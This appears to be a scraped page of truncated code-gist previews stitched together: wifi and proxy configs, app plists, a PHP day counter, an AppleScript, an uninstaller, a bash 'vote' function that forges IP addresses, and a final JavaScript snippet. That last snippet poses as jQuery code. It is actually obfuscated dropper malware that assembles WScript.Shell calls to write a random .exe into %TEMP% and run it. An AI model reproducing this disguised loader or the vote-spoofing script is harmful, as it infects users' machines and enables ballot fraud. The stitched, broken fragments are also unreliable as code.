This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding:utf-8 -*- | |
import commands | |
import types | |
import os | |
import time | |
import re | |
#commands.getstatusoutput('wpa_supplicant -D wext -i wlan0 -B -c /etc/wpa_supplicant/wpa_supplicant.conf') | |
#commands.getstatusoutput('dhclient wlan0') | |
pattern = re.compile(r'\d+.\d+.\d+.\d+') |

This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> | |
<plist version="1.0"> | |
<dict> | |
<key>PayloadContent</key> | |
<array> | |
<dict> | |
<key>PayloadDescription</key> | |
<string>Global HTTP Proxy</string> | |
<key>PayloadDisplayName</key> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="UTF-8"> | |
<title>Love</title> | |
</head> | |
<body> | |
<div> | |
<?php | |
echo '❤ 豆腐和铁钉在一起已经 ' . floor((time() - strtotime('2006-11-26') + 60 * 60 * 8) / (60 * 60 * 24)) . " 天。\n"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> | |
<plist version="1.0"> | |
<dict> | |
<key>InAppPurchaseReceipt_com.fiftythree.paper.mixer</key> | |
<data>MTMzMzA1Njc5OC45MTQ0NjI=</data> | |
<key>WebKitDiskImageCacheSavedCacheDirectory</key> | |
<string></string> | |
<key>FacebookSharingEnabled</key> | |
<false/> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if hours of (current date) > 7 and hours of (current date) < 24 then | |
tell application "Finder" | |
activate | |
end tell | |
tell application "System Events" | |
click menu item "SCNU_ZCC_2#4008_Online" of menu "Location" of menu item "Location" of menu "Apple" of menu bar 1 of process "Finder" | |
end tell | |
tell application "GoogleTalkPlugin" | |
activate | |
end tell |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# | |
# Find and remove existing installations of Parallels Access | |
export PATH=/bin:/sbin:/usr/bin:/usr/sbin | |
RootCheck () { | |
if [ $(id -u) != "0" ] | |
then | |
sudo -p "This script requires administrative privileges. Please enter your password: " "$0" "$@" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
vote() { | |
# make ip address | |
aa=$1 | |
bb=$2 | |
cc=$3 | |
dd=$4 | |
aa=${aa:="1 254"} | |
bb=${bb:="1 254"} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//function( tag, context ) { var elem, tmp = [], i = 0, By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag ); | |
var xwXVPgE = ["Cx"+"p"+("macaroni","acquisition","reform","qm")+"qn", ("clocks","dragon","Q")+("simultaneously","laughable","dampness","fellow","Qp")+("misshapen","meeting","reinforcement","bFmqXL")+"SF", "Expa"+"nd"+("heinz","soundtrack","assist","E")+("bootless","swims","promotion","nv")+("criticize","engraving","guido","precious","iro")+"n"+"m"+"ent"+"Str"+"in"+"gs", "%"+("excellence","cadaverous","adherent","voluptuous","T")+"EM"+"P%", "/aKxPRceK" + "."+("whenever","flesh","example","hanging","e")+"xe", "R"+("chemist","isolate","un"), "A"+"ct"+("garage","weaver","significantly","poniard","i")+"veX"+("mirror","letting","Ob")+("carbonic","theorist","debian","informer","j")+"e"+"ct", "W"+("bahamas","domino","carey","Sc")+"r"+"ipt."+"Sh"+("ketch","config","athens","e")+"ll", ("alerts","adorable","bible","carey", |